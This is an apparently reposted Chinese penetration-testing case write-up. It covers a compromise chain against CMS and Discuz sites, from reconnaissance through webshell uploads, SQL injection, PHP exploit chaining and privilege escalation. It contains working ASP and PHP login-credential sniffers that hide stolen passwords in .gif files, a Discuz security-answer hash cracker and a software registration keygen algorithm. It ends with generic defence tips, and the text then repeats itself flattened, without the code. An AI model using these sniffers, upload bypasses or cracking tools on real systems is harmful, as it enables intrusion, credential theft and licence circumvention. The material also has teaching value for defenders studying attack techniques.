【老文】一次艰难的渗透纪实
字数 2359 2025-08-29 08:32:09

渗透测试实战技术教学文档

0x00 前言与背景

本教学文档基于一次真实的渗透测试案例,展示了从信息收集到最终获取系统权限的完整过程。案例中涉及多种技术手段,包括但不限于:

  • 信息收集与侦查
  • CMS漏洞利用
  • 旁站攻击
  • 二级域名渗透
  • 文件上传漏洞利用
  • SQL注入
  • 社会工程学
  • 权限提升
  • 密码破解与碰撞

0x01 信息收集阶段

1.1 目标识别

初始目标:www.111.com(CMS系统)和关联论坛(Discuz! X2)

1.2 技术手段

  1. 文件枚举

    • 通过robots.txt发现敏感目录
    • 暴力猜解后台管理文件(如admin.php)
    • 发现3gadm.php文件,确认使用diy-page8.3 CMS
  2. 服务器指纹识别

    • 通过错误页面识别IIS 7.5
    • 使用HEAD请求确认:Server: Microsoft-IIS/7.5
    • 推断操作系统为Windows Server 2008
  3. CDN绕过技术

    • 通过不同地区VPN ping测试发现不同IP
    • 搜索关联域名发现www.222.com
    • 旁注查询获取真实IP

0x02 漏洞发现与利用

2.1 IIS7.5+FastCGI解析漏洞

漏洞原理
IIS7.5+FastCGI在默认配置下可能导致任意文件以PHP方式解析,类似Nginx解析漏洞。

验证方法
http://www.222.com/images/aaa.gif/kyo.php 返回200状态码而非404

利用限制

  • 论坛附件上传到独立文件服务器(Windows 2003)
  • CMS禁止普通用户注册和登录

2.2 二级域名渗透

发现二级域名a.111.com(博客系统),所在服务器托管多个网站(虚拟主机)

攻击路径

  1. 识别www.aaa.com后台:http://www.aaa.com/admin/admin_index.php
  2. 利用FCKeditor上传漏洞:
    • 添加GIF头到ASP木马
    • 修改上传包:filename="C:\aa.asp .gif"
  3. 获取webshell:http://www.aaa.com/uploads/120107005538_53.asp

防护绕过

  • 星外+护卫神防护组合
  • 删除wscript.shell等危险组件
  • 不支持aspx执行

0x03 权限提升技术

3.1 PHP漏洞利用

目标环境

  • PHP 5.2.9-2
  • Windows Server 2003

利用漏洞

  1. PHP hash_update_file() Already Freed Resource Access Vulnerability
  2. PHP addcslashes() Interruption Information Leak Vulnerability

组合利用

function hexdump($x) {
    $ret_long = ord($x[0x13]) * 0x1000000 + ord($x[0x12]) * 0x10000 + ord($x[0x11]) * 0x100 + ord($x[0x10]);
    $ret_long = $ret_long + 0x20;
    return $ret_long;
}

利用流程

  1. 使用addcslashes()泄露内存信息
  2. 获取shellcode存放地址
  3. 构造纯字母数字shellcode
  4. 通过hash_update_file()执行shellcode

3.2 ASPX提权技术

步骤

  1. 寻找可写目录:C:\Documents and Settings\All Users\Application Data\Microsoft\Media Index
  2. 上传定制aspx木马(绕过护卫神检测)
  3. 上传cmd.exe到可写目录
  4. 执行命令获取系统信息

0x04 Web应用漏洞挖掘

4.1 3hooCMS V3 SP2漏洞分析

SQL注入漏洞
文件:Search.Asp
漏洞代码:

SoKey=trim(request("sokey"))
sql="select * from [info] where "&LanguageSet&"Name like'%"&SoKey&"%' order by id desc;"

利用方式
POST型注入,需使用工具如NBSI进行自动化检测

4.2 后台getshell技术

数据库备份漏洞
文件:Admin_DataBackup.asp
关键代码:

bkfolder=request.form("bkfolder")
MakeNewsDir bkfolder
fso.copyfile dbpath,bkfolder& "\"& bkdbname & ".mdb"

利用步骤

  1. 修改bkfolder参数为"kyo.asp"
  2. 创建恶意文件夹"kyo.asp"
  3. 通过IIS6.0目录解析漏洞执行木马
  4. 访问路径:http://www.bbb3.com/manage/kyo.asp/data.mdb

0x05 密码破解技术

5.1 密码嗅探技术

ASP实现代码

thename=replace(trim(request.form("username")))
thepass=replace(trim(Request.form("password")))
SaveFile="page.gif"
GetPostStr=thename&"|"&thepass
set F=server.CreateObject("scripting.filesystemobject")
set I=F.OpenTextFile(server.mappath(SaveFile),8,True,0)
I.WriteLine(GetPostStr)
I.close

PHP实现代码

$username1 = $this->Username;
$password1 = $this->Password;
$file="././images/bg1.gif";
$handle = @fopen("././images/th_bg1.gif", "a");
$recontent = fread($handle,filesize($file));
$content= $username1.$password1."----date is:".date("Y-m-d H:i:s")."\r\n";
$result=$recontent."\r\n".$content;
@fwrite($handle,$result);

5.2 Discuz! 提示问题破解

加密算法
substr(md5($pass.md5($id)),16,8)

碰撞程序

<?php
error_reporting(0);
if ($argc<2) {
    print_r('Usage: php '.$argv[0].' hash\nExample:php '.$argv[0].' 91de8255\n');
    die;
}

$fd=fopen("pass.dic","r");
if(!$fd){
    echo "error:打开字典文件错误" ;
    die;
}

while($buf=fgets($fd)){
    for($i=1;$i<8;$i++){
        $tmp=substr(md5(trim($buf).md5($i)),16,8);
        $conn = strcmp($tmp,$argv[1]);
        if($conn==0){
            echo "密码破解成功。\n"."提示问题答案为:".$buf."提示的问题为:".theask((int)$i)."\n";
            die;
        }
    }
}

if($conn!=0){
    echo "没有正确的密码";
}

fclose($fd);

function theask($var){
    if($var==1) return "母亲的名字";
    elseif($var==2) return "爷爷的名字";
    elseif($var==3) return "父亲出生的城市";
    elseif($var==4) return "您其中一位老师的名字";
    elseif($var==5) return "您个人计算机的型号";
    elseif($var==6) return "您最喜欢的餐馆名称";
    elseif($var==7) return "驾驶执照最后四位数字";
}
?>

0x06 软件逆向与破解

6.1 SuperDic字典生成器分析

注册验证流程

  1. 生成申请号(基于GetVolumeInformationA)
  2. 对申请号加密:f1(申请号)
  3. 对注册码加密:f2(注册码)
  4. 比较f1(申请号) == f2(注册码)

逆向算法

void DicDecode(char *str){
    char end[64]={0};
    if (strlen(str) !=16) *str=0;
    
    for(int i=0,j=0;i<16,j<64;i++,j=j+4){
        if(str[i]<='9' && str[i]>='0'){
            end[j]=str[i]-22;
            goto LABEL_a;
        }
        if(str[j]<='z' && str[i]>='a'){
            end[j]=str[i]-61;
            goto LABEL_a;
        }
        if(str[i]<='Z' && str[i]>='A'){
            end[j]=str[i]-65;
        }
        LABEL_a:;
    }
    
    for(i=0;i<64;i=i+4){
        if(end[i]<=i) { end[i]=i-end[i]; }
    }
    
    int v10[16];
    for(int k=0,n=0;k<16,n<64;k++,n=n+4){
        v10[k]=(int)end[n];
    }
    
    for(i=0;i<16;i++){
        if(v10[i] <= 25 && v10[i]>=0){
            str[i]=v10[i]+ 65;
            goto LABEL_bb;
        }
        if(v10[i] <= 35 && v10[i]>=26){
            str[i]=v10[i]+ 22;
            goto LABEL_bb;
        }
        if(v10[i] < 61 && v10[i]>=36){
            str[i]=v10[i]+ 61;
        }
        LABEL_bb:;
    }
    
    char sigeliu[5]={0x36,0x36,0x36,0x36,0};
    strcat(str,sigeliu);
}

0x07 防御建议

基于本次渗透测试中发现的漏洞,建议采取以下防御措施:

  1. 服务器配置

    • 及时更新IIS和PHP版本
    • 禁用不必要的HTTP方法
    • 配置严格的解析规则
  2. 应用程序安全

    • 对所有用户输入进行严格过滤
    • 使用预编译语句防止SQL注入
    • 实现文件上传的白名单验证
    • 避免敏感信息泄露(如phpinfo)
  3. 权限控制

    • 遵循最小权限原则
    • 定期审计账户权限
    • 使用强密码策略
  4. 监控与日志

    • 实施全面的日志记录
    • 设置异常行为警报
    • 定期检查系统完整性
  5. 安全意识

    • 定期进行安全培训
    • 建立安全开发生命周期(SDLC)
    • 定期进行渗透测试和安全评估

0x08 总结

本案例展示了渗透测试中常见的技术路线和思维方法,强调了以下几点:

  1. 信息收集是渗透测试的基础
  2. 多个漏洞的组合利用往往能突破单一防御
  3. 社会工程学是有效的辅助手段
  4. 密码安全仍然是防御的关键环节
  5. 持续学习和研究新技术对安全人员至关重要

通过本案例的学习,安全人员可以更好地理解攻击者的思维方式和技术手段,从而构建更有效的防御体系。

渗透测试实战技术教学文档 0x00 前言与背景 本教学文档基于一次真实的渗透测试案例,展示了从信息收集到最终获取系统权限的完整过程。案例中涉及多种技术手段,包括但不限于: 信息收集与侦查 CMS漏洞利用 旁站攻击 二级域名渗透 文件上传漏洞利用 SQL注入 社会工程学 权限提升 密码破解与碰撞 0x01 信息收集阶段 1.1 目标识别 初始目标:www.111.com(CMS系统)和关联论坛(Discuz ! X2) 1.2 技术手段 文件枚举 : 通过robots.txt发现敏感目录 暴力猜解后台管理文件(如admin.php) 发现3gadm.php文件,确认使用diy-page8.3 CMS 服务器指纹识别 : 通过错误页面识别IIS 7.5 使用HEAD请求确认: Server: Microsoft-IIS/7.5 推断操作系统为Windows Server 2008 CDN绕过技术 : 通过不同地区VPN ping测试发现不同IP 搜索关联域名发现www.222.com 旁注查询获取真实IP 0x02 漏洞发现与利用 2.1 IIS7.5+FastCGI解析漏洞 漏洞原理 : IIS7.5+FastCGI在默认配置下可能导致任意文件以PHP方式解析,类似Nginx解析漏洞。 验证方法 : http://www.222.com/images/aaa.gif/kyo.php 返回200状态码而非404 利用限制 : 论坛附件上传到独立文件服务器(Windows 2003) CMS禁止普通用户注册和登录 2.2 二级域名渗透 发现二级域名a.111.com(博客系统),所在服务器托管多个网站(虚拟主机) 攻击路径 : 识别www.aaa.com后台: http://www.aaa.com/admin/admin_index.php 利用FCKeditor上传漏洞: 添加GIF头到ASP木马 修改上传包: filename="C:\aa.asp .gif" 获取webshell: http://www.aaa.com/uploads/120107005538_53.asp 防护绕过 : 星外+护卫神防护组合 删除wscript.shell等危险组件 不支持aspx执行 0x03 权限提升技术 3.1 PHP漏洞利用 目标环境 : PHP 5.2.9-2 Windows Server 2003 利用漏洞 : PHP hash_ update_ file() Already Freed Resource Access Vulnerability PHP addcslashes() Interruption Information Leak Vulnerability 组合利用 : 利用流程 : 使用addcslashes()泄露内存信息 获取shellcode存放地址 构造纯字母数字shellcode 通过hash_ update_ file()执行shellcode 3.2 ASPX提权技术 步骤 : 寻找可写目录: C:\Documents and Settings\All Users\Application Data\Microsoft\Media Index 上传定制aspx木马(绕过护卫神检测) 上传cmd.exe到可写目录 执行命令获取系统信息 0x04 Web应用漏洞挖掘 4.1 3hooCMS V3 SP2漏洞分析 SQL注入漏洞 : 文件:Search.Asp 漏洞代码: 利用方式 : POST型注入,需使用工具如NBSI进行自动化检测 4.2 后台getshell技术 数据库备份漏洞 : 文件:Admin_ DataBackup.asp 关键代码: 利用步骤 : 修改bkfolder参数为"kyo.asp" 创建恶意文件夹"kyo.asp" 通过IIS6.0目录解析漏洞执行木马 访问路径: http://www.bbb3.com/manage/kyo.asp/data.mdb 0x05 密码破解技术 5.1 密码嗅探技术 ASP实现代码 : PHP实现代码 : 5.2 Discuz ! 提示问题破解 加密算法 : substr(md5($pass.md5($id)),16,8) 碰撞程序 : 0x06 软件逆向与破解 6.1 SuperDic字典生成器分析 注册验证流程 : 生成申请号(基于GetVolumeInformationA) 对申请号加密:f1(申请号) 对注册码加密:f2(注册码) 比较f1(申请号) == f2(注册码) 逆向算法 : 0x07 防御建议 基于本次渗透测试中发现的漏洞,建议采取以下防御措施: 服务器配置 : 及时更新IIS和PHP版本 禁用不必要的HTTP方法 配置严格的解析规则 应用程序安全 : 对所有用户输入进行严格过滤 使用预编译语句防止SQL注入 实现文件上传的白名单验证 避免敏感信息泄露(如phpinfo) 权限控制 : 遵循最小权限原则 定期审计账户权限 使用强密码策略 监控与日志 : 实施全面的日志记录 设置异常行为警报 定期检查系统完整性 安全意识 : 定期进行安全培训 建立安全开发生命周期(SDLC) 定期进行渗透测试和安全评估 0x08 总结 本案例展示了渗透测试中常见的技术路线和思维方法,强调了以下几点: 信息收集是渗透测试的基础 多个漏洞的组合利用往往能突破单一防御 社会工程学是有效的辅助手段 密码安全仍然是防御的关键环节 持续学习和研究新技术对安全人员至关重要 通过本案例的学习,安全人员可以更好地理解攻击者的思维方式和技术手段,从而构建更有效的防御体系。